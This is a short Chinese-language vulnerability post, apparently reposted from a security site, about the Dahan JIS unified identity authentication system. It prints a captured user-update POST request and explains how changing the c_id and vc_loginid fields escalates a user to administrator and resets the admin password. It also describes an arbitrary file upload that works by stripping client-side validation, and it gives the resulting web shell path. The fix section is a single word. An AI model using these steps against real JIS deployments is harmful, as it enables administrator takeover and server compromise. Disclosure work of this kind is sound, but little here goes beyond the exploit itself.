大汉通版jis统一身份认证系统漏洞打包 - 网站安

大汉通版jis统一身份认证系统:

 

在用户修改信息时进行抓包发现

 

POST:

 

http://10.11.5.201:9080/jis/front/upduser_do.jsp

 

CONTENT:

 

c_id=00000&vc_loginid=admin&vc_password=123456&vc_pwd=123456&vc_username=系统管理员&vc_headship=&vc_comptel=&vc_compfax=&vc_mobile=&vc_email=&vc_qq=&vc_msn=&vc_hometel=&vc_usergroupid=&vc_usergroupname=

 

 

经过验证c_id为权限控制字段，00000为管理员，vc_loginid为登陆名称，vc_password以及

 

vc_pwd为密码，

 

(1)用户权限提升:

 

在修改个人信息时进行抓包，将c_id修改成0000，即可提升为系统管理员，

 

(2)重置管理员密码

 

将c_id改为00000以及将登陆名称vc_loginid改成admin 密码修改为自己的即可

 

(3)任意文件上传 漏洞

 

 

上传地址:http://url//jis/update/update. jsp

 

 

去掉本地js验证

 

shell地址:http://10.11.5.201:9080/jis/update/data/上传的文件名

 

修复方案： 控制

查看更多关于大汉通版jis统一身份认证系统漏洞打包 - 网站安的详细内容...